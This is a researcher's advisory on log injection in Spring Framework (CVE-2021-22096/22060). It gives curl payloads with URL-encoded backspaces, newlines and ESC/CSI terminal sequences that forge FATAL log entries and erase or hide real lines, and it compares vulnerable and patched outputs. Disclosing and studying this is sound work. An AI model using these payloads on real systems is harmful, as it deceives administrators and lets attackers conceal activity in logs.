Log injection or log forging with control characters and ESC- & CSI-sequences

Since long time I already get some nice log file entries in various projects by using newline, backspace, other control characters AND ESC- & CSI-sequences to inject the log file.
Only to confuse the admin or the log aggregation system as SPLUNK, Grafana Loki, etc.
Sometimes there could be a monitoring alert notification setup where someone needs to react as on-call duty.
Nobody wants to do this at night!!!

Recently I saw the spring-framework CVE-2021-22096 and I thought great this is what I always do and I have sent my report.
CVE-2021-22060 was released as follow-up of CVE-2021-22096, but don’t be surprised at the lower number, it doesn’t matter.

Here I would like to explain my way of proceeding.

On top of simple CR/LR there are other control characters, especially the backspace URL encoded as %08 to hide the real url path in log file or the tab %09 but there are some more.
And control characters as ESC- and CSI-sequences are usable as well.
http://manpages.ubuntu.com/manpages/bionic/man4/console_codes.4.html
Only to mention some useful codes:
%1BE == ESC ^D == Linefeed
%1B%5BJ == ESC [J == CSI sequence to erase display – erase from start to cursor.
%1B%5B2J == ESC [2J == CSI sequence to erase display – erase whole display.
%1B%5BM == ESC [M == CSI sequence to delete the indicated # of lines.

I do a HTTP GET with: https://my-hostname/api/RealPath/logentryInjectionWithNewlineAndBackspaces%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08/FakedPathForLogging - s.d.s.w.PropertySourcedRequestMappingHandlerMapping:109%0A2021-12-02 13:18:24,523 [http-nio-8443-exec-2] FATAL%20java.lang.Exception:%0A%20%20%20%20Exception in thread "main" java.lang.OutOfMemoryError: Java heap space%0A2021-12-02%2013%3A21%3A17,550%20%5Bhttp-nio-8443-exec-6%5D%20DEBUG%20looking%20up%20handler%20for%20path%3A%20error

First you see, the URL path is /api/RealPath/logentryInjectionWithNewlineAndBackspaces
which is forwarded by Gateway and /api is stripped off.
Due to some backspaces in URL the log file in backend will show a faked path:
/FakedPathForLogging
instead of real path:
/RealPath/logentryInjectionWithNewlineAndBackspaces

Here are the full logline entries of my backend for this GET request. Only in Http11InputBuffer DEBUG level you see the real content and PropertySourcedRequestMappingHandlerMapping shows less:

2021-12-02 13:40:29,428 [http-nio-8443-exec-7] DEBUG Received [GET /RealPath/logentryInjectionWithNewlineAndBackspaces%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08/FakedPathForLogging%20-%20s.d.s.w.PropertySourcedRequestMappingHandlerMapping:109%0A2021-12-02%2013:18:24,523%20%5Bhttp-nio-8443-exec-2%5D%20FATAL%20java.lang.Exception:%0A%20%20%20%20Exception%20in%20thread%20%22main%22%20java.lang.OutOfMemoryError:%20Java%20heap%20space%0A2021-12-02%2013:21:17,550%20%5Bhttp-nio-8443-exec-6%5D%20DEBUG%20looking%20up%20handler%20for%20path:%20error HTTP/1.1
....private.....
content-length: 0
] - o.a.c.h.Http11InputBuffer:173
2021-12-02 13:40:29,438 [http-nio-8443-exec-7] DEBUG looking up handler for path: /FakedPathForLogging - s.d.s.w.PropertySourcedRequestMappingHandlerMapping:109
2021-12-02 13:18:24,523 [http-nio-8443-exec-2] FATAL java.lang.Exception:
    Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
2021-12-02 13:21:17,550 [http-nio-8443-exec-6] DEBUG looking up handler for path: error - s.d.s.w.PropertySourcedRequestMappingHandlerMapping:109

Since log injection at DEBUG level is no valid vulnerability, I show a way at WARN level in spring-framework.
To trigger the WARN log output in StringUtils#cleanPath, add a trailing ../ to your URL path.
Here with some normal control characters examples:

  1. example:
    curl 'http://localhost:8080/api/path../data%5D%0A2021-12-06%2015%3A23%3A15.196%20%20FATAL%2011810%20---%20%5Bnio-8080-exec-1%5D%20EXCEPTION%3A%20%5BOOM%0Bnext%0Cnext%0Dnext_escseq%1BEnext_finished'

Log output with spring-boot-starter-parent 2.5.7, it will produce such log entry with translated linefeeds and control characters:

2021-12-06 15:42:10.859  WARN 12640 --- [nio-8080-exec-2] o.s.w.s.r.ResourceHttpRequestHandler     : Path contains "../" after call to StringUtils#cleanPath: [api/path../data] 
2021-12-06 15:23:15.196  FATAL 11810 --- [nio-8080-exec-1] EXCEPTION: [OOM 
next 
next_escseq next 
next_finished] 

Log output with spring-boot-starter-parent 2.6.0, will not longer translate the control characters and shows it url encoded:

2021-12-06 15:40:06.146  WARN 12480 --- [nio-8080-exec-2] o.s.w.s.r.ResourceHttpRequestHandler     : Path contains "../" after call to StringUtils#cleanPath: [api/path../data%5D%0A2021-12-06%2015%3A23%3A15.196%20%20FATAL%2011810%20---%20%5Bnio-8080-exec-1%5D%20EXCEPTION%3A%20%5BOOM%0Bnext%0Cnext%0Dnext_escseq%1BEnext_finished] 
  1. example: curl 'http://localhost:8080/api/path../data%5D%0A2021-12-06%2015%3A23%3A15.196%20%20FATAL%2011810%20---%20%5Bnio-8080-exec-1%5D%20EXCEPTION%3A%20%5BOOM'

with spring-boot-starter-parent 2.5.7:

2021-12-06 15:47:35.987  WARN 12640 --- [nio-8080-exec-1] o.s.w.s.r.ResourceHttpRequestHandler     : Path contains "../" after call to StringUtils#cleanPath: [api/path../data] 
2021-12-06 15:23:15.196  FATAL 11810 --- [nio-8080-exec-1] EXCEPTION: [OOM] 

with spring-boot-starter-parent 2.6.0:

2021-12-06 15:50:13.833  WARN 12819 --- [nio-8080-exec-1] o.s.w.s.r.ResourceHttpRequestHandler     : Path contains "../" after call to StringUtils#cleanPath: [api/path../data%5D%0A2021-12-06%2015%3A23%3A15.196%20%20FATAL%2011810%20---%20%5Bnio-8080-exec-1%5D%20EXCEPTION%3A%20%5BOOM] 
  1. example: curl 'http://localhost:8080/api/path../data12345%08%08'

A backspace %08 will move the closing bracket only in 2.5.7, refer to missing digit “4” where the bracket is now shown:

2021-12-06 15:56:02.619  WARN 12956 --- [nio-8080-exec-1] o.s.w.s.r.ResourceHttpRequestHandler     : Path contains "../" after call to StringUtils#cleanPath: [api/path../data123]5 

No more control translation in 2.6.0:

2021-12-06 15:55:05.519  WARN 12819 --- [nio-8080-exec-4] o.s.w.s.r.ResourceHttpRequestHandler     : Path contains "../" after call to StringUtils#cleanPath: [api/path../data12345%08%08] 

Now with some ESC- and CSI-sequence examples, because spring-framework <= 5.3.13 has this vulnerability !

  1. example: With %1B%5BJ (ESC [J == CSI sequence to erase display – erase from start to cursor.)
    curl 'http://localhost:8080/api/path../data12345%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%1B%5BJsuffix'
    

wich spring-boot-starter-parent 2.5.7, I can create a crazy cleanPath where [api/path../data1235is missing completly:

2021-12-06 16:07:29.199  WARN 12956 --- [nio-8080-exec-3] o.s.w.s.r.ResourceHttpRequestHandler     : Path contains "../" after call to StringUtils#cleanPath: [suffix] 

with spring-boot-starter-parent 2.6.0, no translation anymore:

2021-12-06 16:16:30.511  WARN 13317 --- [nio-8080-exec-4] o.s.w.s.r.ResourceHttpRequestHandler     : Path contains "../" after call to StringUtils#cleanPath: [api/path../data12345%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%1B%5BJsuffix] 
  1. example:
    CSI M == Delete the indicated # of lines.
    %1B%5B1M == ESC [ 1M
    curl 'http://localhost:8080/api/path../suffix%1B%5B1M2021-12-08%2013%3A59%3A37.932%20%20ERROR%20blahh%0anewline'
    

The real application logging output is hidden/missing with spring-framework 5.3.10 and 5.3.13 due to ESC [ 1M, but my injected string is still seen :-)

2021-12-08 13:59:37.932  ERROR blahh
newline]

Output with spring-framework 5.3.14 shows fix of CVE-2021-22060 with mostly the complete call:

2021-12-09 13:54:29.920  WARN 9455 --- [nio-8080-exec-1] o.s.w.s.r.ResourceHttpRequestHandler     : "Path contains "../" after call to StringUtils#cleanPath: [api/path../suffix?[1M2021-12-08 13:59:37.932  ERROR blahh<EOL>newline]"

Why just “mostly”? Because ESC %1B is replaced with “?” instead of <ESC> as seen for CR %0A == <EOL>

Some more CSI examples:

       J   ED        Erase display (default: from cursor to end of display).
                     ESC [ 1 J: erase from start to cursor.
                     ESC [ 2 J: erase whole display.
                     ESC [ 3 J: erase whole display including scroll-back
                                buffer (since Linux 3.0).
       K   EL        Erase line (default: from cursor to end of line).<BR>
                     ESC [ 1 K: erase from start of line to cursor.<BR>
                     ESC [ 2 K: erase whole line.<BR>

as HTTP call:

curl 'http://localhost:8080/api/path../data12345%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%1B%5B2Jsuffix' 
curl 'http://localhost:8080/api/path../data%1B%5B1K' 
curl 'http://localhost:8080/api/path../data%1B%5B2K' 
curl 'http://localhost:8080/api/path../data%1B%5BM2021-12-06%2015%3A23%3A15.196%20%20FATAL%2011810%20---%20%5Bnio-8080-exec-1%5D%20EXCEPTION%3A%20%5BOOM'

Btw, as in apache TLS endpoint the url length is limited for the http GET method I cannot build this nice “eye catcher” as usable with http POST method:

2033-12-31 00:00:00.000  FATAL attack from the future
                      ,%@@@@@@@@@@@(.
                   #@@@@@@@@@@@@@@@@@@@(
                 |@@@@@@@@@@@@@@@@@@@@@@@|
               *@@@@@@@@@@@@@@@@@@@@@@@@@@@*
              *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*
              &@@@@@@@@%,.,#@@@#,.,%@@@@@@@@&
              @@@@@@#       &@&       #@@@@@@
             .@@@@@%       (@@@(       %@@@@@.
              @@@@@@*    (@@@@@@@(    *@@@@@@
              %@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%
               (@@@@@@@@@@@@. .@@@@@&&@@@@@(
      .            *@@@@@@@.   .@@&@@@@*            .
  |@@@@@@%           ,@@@@@@@@@@&@@@@            %@@@@@@|
  @@@@@@@@(          .@@&%@&%&@%&@@           |@@@@@@@@
   @@@@@@@@#         %@@(.@(.@.(@ (@@*         #@@@@@@@@
  (@@@@@@@@@@|       @@@(.@(.@.(@ (@@(       |@@@@@@@@@@(
,@@@@@@@@@@@@@@@@@#.  *@( @(.@.(@ (@*  .#@@@@@@@@@@@@@@@@@,
 @@@@@@||#@@@@@@@@@@@%*         ,%@@@@@@@@@@@#||#@@@@@@@
   .           |&@&@@@@@@@@@(.(@@@@@@@@@@@%|           .
                    *%@@@@@@@@@@@@@@@#*
                   *&@@@@@@@@@@@@@@@@@&*
  .,.         .#&@@@@@@@@@@&* *&@@@@@@@@@@.         .,.
,@@@@@@@@@@@@@@@@@@@@@%,           ,%@@@@@@@@@@@@@@@@@@@@@,
.@@@@@@@@@@@@@@@@@|                     |@@@@@@@@@@@@@@@@@.
  |@@@@@@@@@&*                               ,&@@@@@@@@@|
  ,@@@@@@@@*                                   *@@@@@@@@,
  @@@@@@@@|                                     |@@@@@@@@
  .@@@@@@*                                       *@@@@@@.]

Disclaimer

The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.

The contents of this advisory are copyright (c) 2022 by psytester and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

Written on February 14, 2022 | Last modified on February 14, 2022